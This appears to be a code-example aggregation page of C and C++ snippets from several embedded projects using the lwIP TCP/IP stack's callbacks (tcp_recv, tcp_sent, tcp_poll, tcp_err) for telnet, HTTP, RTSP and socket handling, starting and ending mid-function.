						case HDR_SESSION:
							rtsp->sid = strtoull(val, NULL, 16);
							break;

						case HDR_TRANSPORT:
							rtsp_decode_transport(rtsp, val);
							break;

						case HDR_CONTENT_LENGTH:
							rtsp->resp.content_len = strtoul(val, NULL, 10);
//							DBG("Content Length: %d", rtsp->content_len);
							break;
						}
					}
				}
				/* increment header counter */
				pos++;
				/* move to the next line */
				ln = i + 1;
			}
			c1 = c2;
		}

		if (ln != 0) {
			int j;

			for (i = 0, j = ln; j < cnt; ++i, ++j)
				buf[i] = buf[j];
			cnt = i;
			rem = RTSP_CLIENT_BUF_LEN - i;
			ln = 0;
		}

		if (rem <= 0) {
			ERR("buffer ovreflow!");
			return -1;
		}
	}

	tcp_close(tp);

	return -1;
}
int lwip_connect(int s, struct sockaddr *name, socklen_t namelen) {
	sockfd_t	* fd;
	struct ip_addr	ip;
	int		port, rv = 0;

	s = sock_for_fd(s);
	if (s < 0) {
		errno = EBADF;
		return -1;
	}
	fd = fds + s;

	// Make sure it's an internet address we understand.
	if (namelen != sizeof(struct sockaddr_in)) {
		errno = ENAMETOOLONG;
		return -1;
	}

	// Get access
	mutex_lock(fd->mutex);

	// Copy it over
	memcpy(&fd->name, name, namelen);

	// Convert this to an lwIP-happy format
	ip.addr = ((struct sockaddr_in *)name)->sin_addr.s_addr;
	port = ((struct sockaddr_in *)name)->sin_port;

	// Are we TCP or UDP?
	switch (fd->type) {
	case SOCK_STREAM:
		// This might have gotten made already, bind is valid on
		// outgoing sockets too.
		if (!fd->tcppcb)
			fd->tcppcb = tcp_new();
		tcp_arg(fd->tcppcb, (void *)s);
		tcp_recv(fd->tcppcb, recv_tcp);
		tcp_sent(fd->tcppcb, sent_tcp);
		tcp_poll(fd->tcppcb, poll_tcp, 4);	// 4 == 4 TCP timer intervals
		tcp_err(fd->tcppcb, err_tcp);
		if (tcp_connect(fd->tcppcb, &ip, ntohs(port), connect_tcp) != ERR_OK) {
			if (tcp_close(fd->tcppcb) != ERR_OK)
				tcp_abort(fd->tcppcb);
			fd->tcppcb = NULL;
			errno = EINVAL;
			rv = -1; goto out;
		}
		break;
	case SOCK_DGRAM:
		// This might have gotten made already, bind is valid on
		// outgoing sockets too.
		if (!fd->udppcb)
			fd->udppcb = udp_new();
		udp_recv(fd->udppcb, recv_udp, (void *)s);
		udp_connect(fd->udppcb, &ip, ntohs(port));
		break;
	default:
		assert( 0 );
		errno = EINVAL;
		rv = -1; goto out;
	}

	// If we are doing a TCP connect, we need to wait for the results
	// of the operation.
	if (fd->type == SOCK_STREAM) {
		// Wait for the result
		fd->connerr = 10;
		while (fd->connerr > 0) {
			cond_wait(fd->connect, fd->mutex);
		}

		// Convert error codes
		switch (fd->connerr) {
		case ERR_OK: break;
		
		case ERR_MEM:
		case ERR_BUF:
		case ERR_VAL:
		case ERR_ARG:
		case ERR_IF:
			errno = EINVAL;
			rv = -1;
			goto out;

		case ERR_ABRT:
		case ERR_RST:
		case ERR_CLSD:
		case ERR_CONN:
			errno = ECONNREFUSED;
			rv = -1;
			goto out;

		case ERR_RTE:
			errno = ENETUNREACH;
			rv = -1;
			goto out;

		case ERR_USE:
			errno = EADDRINUSE;
			rv = -1;
			goto out;
		}

		if (fd->connerr == ERR_OK) {
			// Init our counters
			fd->recv = 0;
			fd->send = tcp_sndbuf(fd->tcppcb);
		}
	}

out:
	mutex_unlock(fd->mutex);
	return rv;
}
Exemple #23
0
int __attribute__((noreturn)) telnet_input_task(struct telnet_svc * tn)
{
	struct tcp_pcb * svc;
	struct tcp_pcb * tp;
	char buf[128];
	int sb_len;
	int len;
	char * src;
	int rem;
	int binary;
	int state;
	int c;
	struct tn_opt opt;
	unsigned int head;

	svc = tn->svc;

	for (;;) {

		INF("TELNET wating for connection.");
		DCC_LOG(LOG_TRACE, "TELNET: waiting for connection...");

		if ((tp = tcp_accept(svc)) == NULL) {
			DCC_LOG(LOG_ERROR, "tcp_accept().");
			break;
		}

		INF("TELNET connection accepted.");
		DCC_LOG(LOG_TRACE, "TELNET: accepted.");

		tn->tp  = tp;

		tn_opt_clr(&opt);
		sb_len = 0;
		binary = 0;
		state = TN_DATA;
		tn_opt_will(tp, &opt, TELOPT_SGA);
		tn_opt_do(tp, &opt, TELOPT_SGA);
		tn_opt_will(tp, &opt, TELOPT_ECHO);
		tn_opt_will(tp, &opt, TELOPT_BINARY);
		tn_opt_do(tp, &opt, TELOPT_BINARY);

		head = tn->rx.head;

		for (;;) {

			if (head != tn->rx.tail) {
				/* update the head */
				tn->rx.head = head;
				DCC_LOG1(LOG_TRACE, "rx nonempty: head=%d", head);
				/* signal the head update */
				thinkos_flag_give(tn->rx.nonempty_flag);
			}

			/* receive data form network */
			if ((len = tcp_recv(tp, buf, 128)) <= 0) {
				DCC_LOG1(LOG_WARNING, "tcp_recv(): %d", len);
				break;
			}

			DCC_LOG1(LOG_TRACE, "recv: %d", len);

			/* set the input processing pointer */
			src = buf;
			/* input remaining (to be processed) bytes */
			rem = len;

			while (rem > 0) {
				c = *src++;
				rem--;

				if (state == TN_DATA) {
					if (c == IAC) {
						state = TN_IAC_RCVD;
					} else {
						if ((binary) || ((c >= 3) && (c < 127))) {
							/* ASCII characters */
							DCC_LOG1(LOG_TRACE, "rx nonempty: head=%d", head);

							/* buffer is full */
							if (head == (tn->rx.tail + TELNET_SVC_RX_BUF_LEN)) {
								/* update the head */
								tn->rx.head = head;
								/* signal the head update */
								thinkos_flag_give(tn->rx.nonempty_flag);
								
								/* wait for space in the input buffer */
								while (1) {
									if (head < (tn->rx.tail + 
												 TELNET_SVC_RX_BUF_LEN)) {
										break;
									}
									thinkos_flag_take(tn->rx.nonfull_flag);
								}
							} 

							tn->rx.buf[head++ % TELNET_SVC_RX_BUF_LEN] = c;

						} 
					}
					continue;
				}

				/* handles TELNET inputs options */
				switch (state) {

				case TN_IAC_RCVD:
					switch (c) {
					case IAC:
						state = TN_DATA;
						break;
					case DONT:
						state = TN_DONT_RCVD;
						break;
					case DO:
						state = TN_DO_RCVD;
						break;
					case WONT:
						state = TN_WONT_RCVD;
						break;
					case WILL:
						state = TN_WILL_RCVD;
						break;
					case SB:
						state = TN_SUBOPTION_ID;
						break;
					case EL:
					case EC:
					case AYT:
					case AO:
					case IP:
					case BREAK:
					case DM:
					case NOP:
					case SE:
					case EOR:
					case ABORT:
					case SUSP:
					case xEOF:
					default:
						state = TN_DATA;
						break;
					}
					break;

				case TN_DONT_RCVD:
					DCC_LOG1(LOG_TRACE, "DONT %s", TELOPT(c));
					tn_opt_wont(tp, &opt, c);
					state = TN_DATA;
					break;

				case TN_DO_RCVD:
					DCC_LOG1(LOG_TRACE, "DO %s", TELOPT(c));
					switch (c) {

					case TELOPT_SGA:
						tn_opt_will(tp, &opt, c);
						break;

					case TELOPT_ECHO:
						tn_opt_will(tp, &opt, c);
						break;

					case TELOPT_BINARY:
						tn_opt_will(tp, &opt, c);
						break;

					default:
						tn_opt_wont(tp, &opt, c);
					}

					state = TN_DATA;
					break;

				case TN_WONT_RCVD:
					DCC_LOG1(LOG_TRACE, "WONT %s", TELOPT(c));
					tn_opt_dont(tp, &opt, c);
					state = TN_DATA;
					break;

				case TN_WILL_RCVD:
					DCC_LOG1(LOG_TRACE, "WILL %s", TELOPT(c));

					switch (c) {
					case TELOPT_ECHO:
						tn_opt_dont(tp, &opt, c);
						break;

					case TELOPT_SGA:
						tn_opt_do(tp, &opt, c);
						break;

					case TELOPT_BINARY:
						tn_opt_do(tp, &opt, c);
						binary = 1;
						break;

					default:
						tn_opt_dont(tp, &opt, c);
					}

					state = TN_DATA;
					break;

				case TN_SUBOPTION_ID:
					state = TN_SUBOPTION;
					break;

				case TN_SUBOPTION:
					if (c == IAC)
						state = TN_SB_IAC_RCVD;
					if (sb_len < TN_SB_BUF_LEN) {
						DCC_LOG1(LOG_TRACE, "suboption: %d", c);
					}
//					sb_buf[sb_len++] = c;
					break;

				case TN_SB_IAC_RCVD:
					if (c == SE) {
						state = TN_DATA;
//						tn_suboption(cpc, sb_buf, sb_len);
					} else {
						state = TN_SUBOPTION;
//						sb_buf[sb_len++] = c;
					}
					break;

				case TN_INVALID_SUBOPTION:
					if (c == IAC)
						state = TN_INVALID_SB_IAC_RCVD;
					break;

				case TN_INVALID_SB_IAC_RCVD:
					if (c == SE)
						state = TN_DATA;
					else
						state = TN_INVALID_SUBOPTION;
					break;

				default:
					DCC_LOG1(LOG_WARNING, "invalid state: %d!!", state);
					break;
				}

			}

		}

		DCC_LOG(LOG_TRACE, "close...");

		tcp_close(tp);
		INF("TELNET connection closed.");
		tn->tp  = NULL;
	}

	DCC_LOG(LOG_ERROR, "thread loop break!!!");
	for(;;);
}
Exemple #24
0
/******************************************************************************
 * FunctionName : espconn_tcp_accept
 * Description  : A new incoming connection has been accepted.
 * Parameters   : arg -- Additional argument to pass to the callback function
 *                pcb -- The connection pcb which is accepted
 *                err -- An unused error code, always ERR_OK currently
 * Returns      : acception result
*******************************************************************************/
static err_t ICACHE_FLASH_ATTR
espconn_tcp_accept(void *arg, struct tcp_pcb *pcb, err_t err)
{
    struct espconn *espconn = arg;
    espconn_msg *paccept = NULL;
    remot_info *pinfo = NULL;
    LWIP_UNUSED_ARG(err);

    if (!espconn || !espconn->proto.tcp) {
    	return ERR_ARG;
    }

    tcp_arg(pcb, paccept);
    tcp_err(pcb, esponn_server_err);
    /*Ensure the active connection is less than the count of active connections on the server*/
    espconn_get_connection_info(espconn, &pinfo , 0);
	espconn_printf("espconn_tcp_accept link_cnt: %d\n", espconn->link_cnt);
	if (espconn->link_cnt == espconn_tcp_get_max_con_allow(espconn))
		return ERR_ISCONN;

	/*Creates a new active connect control message*/
    paccept = (espconn_msg *)os_zalloc(sizeof(espconn_msg));
    tcp_arg(pcb, paccept);

	if (paccept == NULL)
		return ERR_MEM;
	/*Insert the node to the active connection list*/
	espconn_list_creat(&plink_active, paccept);

    paccept->preverse = espconn;
	paccept->pespconn = (struct espconn *)os_zalloc(sizeof(struct espconn));
	if (paccept->pespconn == NULL)
		return ERR_MEM;
	paccept->pespconn->proto.tcp = (esp_tcp *)os_zalloc(sizeof(esp_tcp));
	if (paccept->pespconn->proto.tcp == NULL)
		return ERR_MEM;

	/*Reserve the remote information for current active connection*/
	paccept->pcommon.pcb = pcb;

	paccept->pcommon.remote_port = pcb->remote_port;
	paccept->pcommon.remote_ip[0] = ip4_addr1_16(&pcb->remote_ip);
	paccept->pcommon.remote_ip[1] = ip4_addr2_16(&pcb->remote_ip);
	paccept->pcommon.remote_ip[2] = ip4_addr3_16(&pcb->remote_ip);
	paccept->pcommon.remote_ip[3] = ip4_addr4_16(&pcb->remote_ip);
	paccept->pcommon.write_flag = true;

	os_memcpy(espconn->proto.tcp->remote_ip, paccept->pcommon.remote_ip, 4);
	espconn->proto.tcp->remote_port = pcb->remote_port;
	espconn->state = ESPCONN_CONNECT;
	espconn_copy_partial(paccept->pespconn, espconn);

	/*Set the specify function that should be called
	 * when TCP data has been successfully delivered,
	 * when active connection receives data,
	 * or periodically from active connection*/
	tcp_sent(pcb, espconn_server_sent);
	tcp_recv(pcb, espconn_server_recv);
	tcp_poll(pcb, espconn_server_poll, 8); /* every 1 seconds */
	/*Disable Nagle algorithm default*/
	tcp_nagle_disable(pcb);
	/*Default set the total number of espconn_buf on the unsent lists for one*/
	espconn_tcp_set_buf_count(paccept->pespconn, 1);

	if (paccept->pespconn->proto.tcp->connect_callback != NULL) {
		paccept->pespconn->proto.tcp->connect_callback(paccept->pespconn);
	}

	/*Enable keep alive option*/
	if (espconn_keepalive_disabled(paccept))
		espconn_keepalive_enable(pcb);

    return ERR_OK;
}
Exemple #25
0
/**
 * Receive callback function for UDP netconns.
 * Posts the packet to conn->recvmbox or deletes it on memory error.
 *
 * @see udp.h (struct udp_pcb.recv) for parameters
 */
static void
recv_udp(void *arg, struct udp_pcb *pcb, struct pbuf *p,
   ip_addr_t *addr, u16_t port)
{
  struct netbuf *buf;
  struct netconn *conn;
  u16_t len;
#if LWIP_SO_RCVBUF
  int recv_avail;
#endif /* LWIP_SO_RCVBUF */

  LWIP_UNUSED_ARG(pcb); /* only used for asserts... */
  LWIP_ASSERT("recv_udp must have a pcb argument", pcb != NULL);
  LWIP_ASSERT("recv_udp must have an argument", arg != NULL);
  conn = (struct netconn *)arg;
  LWIP_ASSERT("recv_udp: recv for wrong pcb!", conn->pcb.udp == pcb);

#if LWIP_SO_RCVBUF
  SYS_ARCH_GET(conn->recv_avail, recv_avail);
  if ((conn == NULL) || !sys_mbox_valid(&conn->recvmbox) ||
      ((recv_avail + (int)(p->tot_len)) > conn->recv_bufsize)) {
#else  /* LWIP_SO_RCVBUF */
  if ((conn == NULL) || !sys_mbox_valid(&conn->recvmbox)) {
#endif /* LWIP_SO_RCVBUF */
    pbuf_free(p);
    return;
  }

  buf = (struct netbuf *)memp_malloc(MEMP_NETBUF);
  if (buf == NULL) {
    pbuf_free(p);
    return;
  } else {
    buf->p = p;
    buf->ptr = p;
    ip_addr_set(&buf->addr, addr);
    buf->port = port;
#if LWIP_NETBUF_RECVINFO
    {
      const struct ip_hdr* iphdr = ip_current_header();
      /* get the UDP header - always in the first pbuf, ensured by udp_input */
      const struct udp_hdr* udphdr = (void*)(((char*)iphdr) + IPH_LEN(iphdr));
#if LWIP_CHECKSUM_ON_COPY
      buf->flags = NETBUF_FLAG_DESTADDR;
#endif /* LWIP_CHECKSUM_ON_COPY */
      ip_addr_set(&buf->toaddr, ip_current_dest_addr());
      buf->toport_chksum = udphdr->dest;
    }
#endif /* LWIP_NETBUF_RECVINFO */
  }

  len = p->tot_len;
  if (sys_mbox_trypost(&conn->recvmbox, buf) != ERR_OK) {
    netbuf_delete(buf);
    return;
  } else {
#if LWIP_SO_RCVBUF
    SYS_ARCH_INC(conn->recv_avail, len);
#endif /* LWIP_SO_RCVBUF */
    /* Register event with callback */
    API_EVENT(conn, NETCONN_EVT_RCVPLUS, len);
  }
}
#endif /* LWIP_UDP */

#if LWIP_TCP
/**
 * Receive callback function for TCP netconns.
 * Posts the packet to conn->recvmbox, but doesn't delete it on errors.
 *
 * @see tcp.h (struct tcp_pcb.recv) for parameters and return value
 */
static err_t
recv_tcp(void *arg, struct tcp_pcb *pcb, struct pbuf *p, err_t err)
{
  struct netconn *conn;
  u16_t len;

  LWIP_UNUSED_ARG(pcb);
  LWIP_ASSERT("recv_tcp must have a pcb argument", pcb != NULL);
  LWIP_ASSERT("recv_tcp must have an argument", arg != NULL);
  conn = (struct netconn *)arg;
  LWIP_ASSERT("recv_tcp: recv for wrong pcb!", conn->pcb.tcp == pcb);

  if (conn == NULL) {
    return ERR_VAL;
  }
  if (!sys_mbox_valid(&conn->recvmbox)) {
    /* recvmbox already deleted */
    if (p != NULL) {
      tcp_recved(pcb, p->tot_len);
      pbuf_free(p);
    }
    return ERR_OK;
  }
  /* Unlike for UDP or RAW pcbs, don't check for available space
     using recv_avail since that could break the connection
     (data is already ACKed) */

  /* don't overwrite fatal errors! */
  NETCONN_SET_SAFE_ERR(conn, err);

  if (p != NULL) {
    len = p->tot_len;
  } else {
    len = 0;
  }

  if (sys_mbox_trypost(&conn->recvmbox, p) != ERR_OK) {
    /* don't deallocate p: it is presented to us later again from tcp_fasttmr! */
    return ERR_MEM;
  } else {
#if LWIP_SO_RCVBUF
    SYS_ARCH_INC(conn->recv_avail, len);
#endif /* LWIP_SO_RCVBUF */
    /* Register event with callback */
    API_EVENT(conn, NETCONN_EVT_RCVPLUS, len);
  }

  return ERR_OK;
}

/**
 * Poll callback function for TCP netconns.
 * Wakes up an application thread that waits for a connection to close
 * or data to be sent. The application thread then takes the
 * appropriate action to go on.
 *
 * Signals the conn->sem.
 * netconn_close waits for conn->sem if closing failed.
 *
 * @see tcp.h (struct tcp_pcb.poll) for parameters and return value
 */
static err_t
poll_tcp(void *arg, struct tcp_pcb *pcb)
{
  struct netconn *conn = (struct netconn *)arg;

  LWIP_UNUSED_ARG(pcb);
  LWIP_ASSERT("conn != NULL", (conn != NULL));

  if (conn->state == NETCONN_WRITE) {
    do_writemore(conn);
  } else if (conn->state == NETCONN_CLOSE) {
    do_close_internal(conn);
  }
  /* @todo: implement connect timeout here? */

  /* Did a nonblocking write fail before? Then check available write-space. */
  if (conn->flags & NETCONN_FLAG_CHECK_WRITESPACE) {
    /* If the queued byte- or pbuf-count drops below the configured low-water limit,
       let select mark this pcb as writable again. */
    if ((conn->pcb.tcp != NULL) && (tcp_sndbuf(conn->pcb.tcp) > TCP_SNDLOWAT) &&
      (tcp_sndqueuelen(conn->pcb.tcp) < TCP_SNDQUEUELOWAT)) {
      conn->flags &= ~NETCONN_FLAG_CHECK_WRITESPACE;
      API_EVENT(conn, NETCONN_EVT_SENDPLUS, 0);
    }
  }

  return ERR_OK;
}

/**
 * Sent callback function for TCP netconns.
 * Signals the conn->sem and calls API_EVENT.
 * netconn_write waits for conn->sem if send buffer is low.
 *
 * @see tcp.h (struct tcp_pcb.sent) for parameters and return value
 */
static err_t
sent_tcp(void *arg, struct tcp_pcb *pcb, u16_t len)
{
  struct netconn *conn = (struct netconn *)arg;

  LWIP_UNUSED_ARG(pcb);
  LWIP_ASSERT("conn != NULL", (conn != NULL));

  if (conn->state == NETCONN_WRITE) {
    do_writemore(conn);
  } else if (conn->state == NETCONN_CLOSE) {
    do_close_internal(conn);
  }

  if (conn) {
    /* If the queued byte- or pbuf-count drops below the configured low-water limit,
       let select mark this pcb as writable again. */
    if ((conn->pcb.tcp != NULL) && (tcp_sndbuf(conn->pcb.tcp) > TCP_SNDLOWAT) &&
      (tcp_sndqueuelen(conn->pcb.tcp) < TCP_SNDQUEUELOWAT)) {
      conn->flags &= ~NETCONN_FLAG_CHECK_WRITESPACE;
      API_EVENT(conn, NETCONN_EVT_SENDPLUS, len);
    }
  }
  
  return ERR_OK;
}

/**
 * Error callback function for TCP netconns.
 * Signals conn->sem, posts to all conn mboxes and calls API_EVENT.
 * The application thread has then to decide what to do.
 *
 * @see tcp.h (struct tcp_pcb.err) for parameters
 */
static void
err_tcp(void *arg, err_t err)
{
  struct netconn *conn;
  enum netconn_state old_state;
  SYS_ARCH_DECL_PROTECT(lev);

  conn = (struct netconn *)arg;
  LWIP_ASSERT("conn != NULL", (conn != NULL));

  conn->pcb.tcp = NULL;

  /* no check since this is always fatal! */
  SYS_ARCH_PROTECT(lev);
  conn->last_err = err;
  SYS_ARCH_UNPROTECT(lev);

  /* reset conn->state now before waking up other threads */
  old_state = conn->state;
  conn->state = NETCONN_NONE;

  /* Notify the user layer about a connection error. Used to signal
     select. */
  API_EVENT(conn, NETCONN_EVT_ERROR, 0);
  /* Try to release selects pending on 'read' or 'write', too.
     They will get an error if they actually try to read or write. */
  API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0);
  API_EVENT(conn, NETCONN_EVT_SENDPLUS, 0);

  /* pass NULL-message to recvmbox to wake up pending recv */
  if (sys_mbox_valid(&conn->recvmbox)) {
    /* use trypost to prevent deadlock */
    sys_mbox_trypost(&conn->recvmbox, NULL);
  }
  /* pass NULL-message to acceptmbox to wake up pending accept */
  if (sys_mbox_valid(&conn->acceptmbox)) {
    /* use trypost to preven deadlock */
    sys_mbox_trypost(&conn->acceptmbox, NULL);
  }

  if ((old_state == NETCONN_WRITE) || (old_state == NETCONN_CLOSE) ||
      (old_state == NETCONN_CONNECT)) {
    /* calling do_writemore/do_close_internal is not necessary
       since the pcb has already been deleted! */
    int was_nonblocking_connect = IN_NONBLOCKING_CONNECT(conn);
    SET_NONBLOCKING_CONNECT(conn, 0);

    if (!was_nonblocking_connect) {
      /* set error return code */
      LWIP_ASSERT("conn->current_msg != NULL", conn->current_msg != NULL);
      conn->current_msg->err = err;
      conn->current_msg = NULL;
      /* wake up the waiting task */
      sys_sem_signal(&conn->op_completed);
    }
  } else {
    LWIP_ASSERT("conn->current_msg == NULL", conn->current_msg == NULL);
  }
}

/**
 * Setup a tcp_pcb with the correct callback function pointers
 * and their arguments.
 *
 * @param conn the TCP netconn to setup
 */
static void
setup_tcp(struct netconn *conn)
{
  struct tcp_pcb *pcb;

  pcb = conn->pcb.tcp;
  tcp_arg(pcb, conn);
  tcp_recv(pcb, recv_tcp);
  tcp_sent(pcb, sent_tcp);
  tcp_poll(pcb, poll_tcp, 4);
  tcp_err(pcb, err_tcp);
}

/**
 * Accept callback function for TCP netconns.
 * Allocates a new netconn and posts that to conn->acceptmbox.
 *
 * @see tcp.h (struct tcp_pcb_listen.accept) for parameters and return value
 */
static err_t
accept_function(void *arg, struct tcp_pcb *newpcb, err_t err)
{
  struct netconn *newconn;
  struct netconn *conn = (struct netconn *)arg;

  LWIP_DEBUGF(API_MSG_DEBUG, ("accept_function: newpcb->tate: %s\n", tcp_debug_state_str(newpcb->state)));

  if (!sys_mbox_valid(&conn->acceptmbox)) {
    LWIP_DEBUGF(API_MSG_DEBUG, ("accept_function: acceptmbox already deleted\n"));
    return ERR_VAL;
  }

  /* We have to set the callback here even though
   * the new socket is unknown. conn->socket is marked as -1. */
  newconn = netconn_alloc(conn->type, conn->callback);
  if (newconn == NULL) {
    return ERR_MEM;
  }
  newconn->pcb.tcp = newpcb;
  setup_tcp(newconn);
  /* no protection: when creating the pcb, the netconn is not yet known
     to the application thread */
  newconn->last_err = err;

  if (sys_mbox_trypost(&conn->acceptmbox, newconn) != ERR_OK) {
    /* When returning != ERR_OK, the pcb is aborted in tcp_process(),
       so do nothing here! */
    newconn->pcb.tcp = NULL;
    /* no need to drain since we know the recvmbox is empty. */
    sys_mbox_free(&newconn->recvmbox);
    sys_mbox_set_invalid(&newconn->recvmbox);
    netconn_free(newconn);
    return ERR_MEM;
  } else {
    /* Register event with callback */
    API_EVENT(conn, NETCONN_EVT_RCVPLUS, 0);
  }

  return ERR_OK;
}
#endif /* LWIP_TCP */

/**
 * Create a new pcb of a specific type.
 * Called from do_newconn().
 *
 * @param msg the api_msg_msg describing the connection type
 * @return msg->conn->err, but the return value is currently ignored
 */
static void
pcb_new(struct api_msg_msg *msg)
{
  LWIP_ASSERT("pcb_new: pcb already allocated", msg->conn->pcb.tcp == NULL);

  /* Allocate a PCB for this connection */
  switch(NETCONNTYPE_GROUP(msg->conn->type)) {
#if LWIP_RAW
  case NETCONN_RAW:
    msg->conn->pcb.raw = raw_new(msg->msg.n.proto);
    if(msg->conn->pcb.raw == NULL) {
      msg->err = ERR_MEM;
      break;
    }
    raw_recv(msg->conn->pcb.raw, recv_raw, msg->conn);
    break;
#endif /* LWIP_RAW */
#if LWIP_UDP
  case NETCONN_UDP:
    msg->conn->pcb.udp = udp_new();
    if(msg->conn->pcb.udp == NULL) {
      msg->err = ERR_MEM;
      break;
    }
#if LWIP_UDPLITE
    if (msg->conn->type==NETCONN_UDPLITE) {
      udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_UDPLITE);
    }
#endif /* LWIP_UDPLITE */
    if (msg->conn->type==NETCONN_UDPNOCHKSUM) {
      udp_setflags(msg->conn->pcb.udp, UDP_FLAGS_NOCHKSUM);
    }
    udp_recv(msg->conn->pcb.udp, recv_udp, msg->conn);
    break;
#endif /* LWIP_UDP */
#if LWIP_TCP
  case NETCONN_TCP:
    msg->conn->pcb.tcp = tcp_new();
    if(msg->conn->pcb.tcp == NULL) {
      msg->err = ERR_MEM;
      break;
    }
    setup_tcp(msg->conn);
    break;
#endif /* LWIP_TCP */
  default:
    /* Unsupported netconn type, e.g. protocol disabled */
    msg->err = ERR_VAL;
    break;
  }
}
Exemple #26
0
// Send some data or close this connection if we can, returning true if we can free up this object
bool RequestState::Send()
{
	if (LostConnection())
	{
		if (fileBeingSent != NULL)
		{
			fileBeingSent->Close();
			fileBeingSent = NULL;
		}
		return true;
	}

	if (hs->SendInProgress())
	{
		return false;
	}

	if (sentDataOutstanding != 0)
	{
		float timeNow = reprap.GetPlatform()->Time();
		if (timeNow - lastWriteTime > writeTimeout)
		{
			debugPrintf("Timing out connection hs=%08x\n", (unsigned int)hs);

			HttpState *locHs = hs;		// take a copy because our hs field is about to get cleared
			reprap.GetNetwork()->ConnectionClosing(locHs);
			tcp_pcb *pcb = locHs->pcb;
			tcp_arg(pcb, NULL);
			tcp_sent(pcb, NULL);
			tcp_recv(pcb, NULL);
			tcp_poll(pcb, NULL, 4);
			tcp_abort(pcb);
			mem_free(locHs);
			return false;				// this RS will be freed next time round
		}
	}

	if (sentDataOutstanding >= ARRAY_SIZE(outputBuffer)/2)
	{
		return false;	// don't send until at least half the output buffer is free
	}

	if (fileBeingSent != NULL)
	{
		unsigned int outputLimit = (sentDataOutstanding == 0)
				? ARRAY_SIZE(outputBuffer)
						: min<unsigned int>(unsentPointer + ARRAY_SIZE(outputBuffer)/2, ARRAY_SIZE(outputBuffer));

		while (outputPointer < outputLimit)
		{
			bool ok = fileBeingSent->Read(outputBuffer[outputPointer]);
			if (!ok)
			{
				fileBeingSent->Close();
				fileBeingSent = NULL;
				break;
			}
			++outputPointer;
		}
	}

	if (outputPointer == unsentPointer)
	{
		// We have no data to send. fileBeingSent must already be NULL here.
		if (!persistConnection && !closeRequested && nextWrite == NULL)
		{
			tcp_close(hs->pcb);
			closeRequested = true;
			// Don't release this RS yet, the write buffer may still be needed to do send retries
			return false;
		}

		if (sentDataOutstanding != 0)
		{
			return false;
		}

		// We've finished with this RS
		if (closeRequested)
		{
			// debugPrintf("Closing connection hs=%08x\n", (unsigned int)hs);

			HttpState *locHs = hs;		// take a copy because our hs field is about to get cleared
			reprap.GetNetwork()->ConnectionClosing(locHs);
			tcp_pcb *pcb = locHs->pcb;
			tcp_arg(pcb, NULL);
			tcp_sent(pcb, NULL);
			tcp_recv(pcb, NULL);
			tcp_poll(pcb, NULL, 4);
			mem_free(locHs);
		}
		return true;
	}
	else
	{
		sentDataOutstanding += (outputPointer - unsentPointer);
		RepRapNetworkSendOutput(outputBuffer + unsentPointer, outputPointer - unsentPointer, hs);
		unsentPointer = (outputPointer == ARRAY_SIZE(outputBuffer)) ? 0 : outputPointer;
		outputPointer = unsentPointer;
		lastWriteTime = reprap.GetPlatform()->Time();
		return false;
	}
}
// This is called by the Webserver to send output data to a client. If keepConnectionAlive is set to false,
// the current connection will be terminated once everything has been sent.
void NetworkTransaction::Commit(bool keepConnectionAlive)
{
	// If the connection has been terminated (e.g. RST received while writing upload data), discard this transaction
	if (!IsConnected() || status == released)
	{
		Discard();
		return;
	}

	// Free buffer holding the incoming data and prepare some values for the sending process
	FreePbuf();
	cs->persistConnection = keepConnectionAlive;
	if (sendBuffer == nullptr)
	{
		sendBuffer = sendStack->Pop();
	}
	status = sending;

	// Unlink the item(s) from the list of ready transactions
	if (keepConnectionAlive)
	{
		// Our connection is still of interest, remove only this transaction from the list
		NetworkTransaction *previous = nullptr;
		for(NetworkTransaction *item = reprap.GetNetwork().readyTransactions; item != nullptr; item = item->next)
		{
			if (item == this)
			{
				if (previous == nullptr)
				{
					reprap.GetNetwork().readyTransactions = next;
				}
				else
				{
					previous->next = next;
				}
				break;
			}
			previous = item;
		}
	}
	else
	{
		// We will close this connection soon, stop receiving data from this PCB
		tcp_recv(cs->pcb, nullptr);

		// Also remove all ready transactions pointing to our ConnectionState
		NetworkTransaction *previous = nullptr, *item = reprap.GetNetwork().readyTransactions;
		while (item != nullptr)
		{
			if (item->cs == cs)
			{
				if (item == this)
				{
					// Only unlink this item
					if (previous == nullptr)
					{
						reprap.GetNetwork().readyTransactions = next;
					}
					else
					{
						previous->next = next;
					}
					item = next;
				}
				else
				{
					// Remove all others
					item->Discard();
					item = (previous == nullptr) ? reprap.GetNetwork().readyTransactions : previous->next;
				}
			}
			else
			{
				previous = item;
				item = item->next;
			}
		}
	}

	// Enqueue this transaction, so it's sent in the right order
	NetworkTransaction *mySendingTransaction = cs->sendingTransaction;
	if (mySendingTransaction == nullptr)
	{
		cs->sendingTransaction = this;
		reprap.GetNetwork().AppendTransaction(&reprap.GetNetwork().writingTransactions, this);
	}
	else
	{
		while (mySendingTransaction->nextWrite != nullptr)
		{
			mySendingTransaction = mySendingTransaction->nextWrite;
		}
		mySendingTransaction->nextWrite = this;
	}
}
Exemple #28
0
/*..........................................................................*/
static err_t server_accept(void					*arg,
							struct tcp_pcb		*pcb,
							err_t				err)
{
    struct server_state *hs;

    LWIP_UNUSED_ARG(arg);
    LWIP_UNUSED_ARG(err);

//    DEBUG_PRINT("server_accept 0x%08x\n", pcb);

    /* Allocate memory for the structure that holds the state of the
    connection. */
    hs = (struct server_state *)mem_malloc(sizeof(struct server_state));

    if (hs == NULL)
    {
//        DEBUG_PRINT("server_accept: Out of memory\n");
        return ERR_MEM;
    }

    /* Initialize the structure. */
    hs->file = NULL;
    hs->buf = NULL;
    hs->buf_len = 0;
    hs->left = 0;
    hs->retries = 0;


    /* Tell TCP that this is the structure we wish to be passed for our
    callbacks. */
    tcp_arg(pcb, hs);

    /* Tell TCP that we wish to be informed of incoming data by a call
    to the server_recv() function. */
    tcp_recv(pcb, server_recv);

    tcp_err(pcb, conn_err);

    tcp_poll(pcb, server_poll, 4);

//test begin

      appdata[0] = 'I';
      appdata[1] = 'S';
      appdata[2] = 'I';
      appdata[3] = 'S';
      appdata[4] = ' ';
      appdata[5] = ':';
      appdata[6] = ')';
      appdata[7] = ' ';
/*
      appdata[0] = 0xAA;
      appdata[1] = 0xAA;
      appdata[2] = 0xAA;
      appdata[3] = 0xAA;
      appdata[4] = 0xAA;
      appdata[5] = 0xAA;
      appdata[6] = 0xAA;
      appdata[7] = 0xAA;
*/
      hs->file = (char *)appdata;
      hs->left = 8;
      send_data(pcb, hs);
      // Tell TCP that we wish be to informed of data that has been
      //   successfully sent by a call to the http_sent() function.
      tcp_sent(pcb, server_sent);

//test end

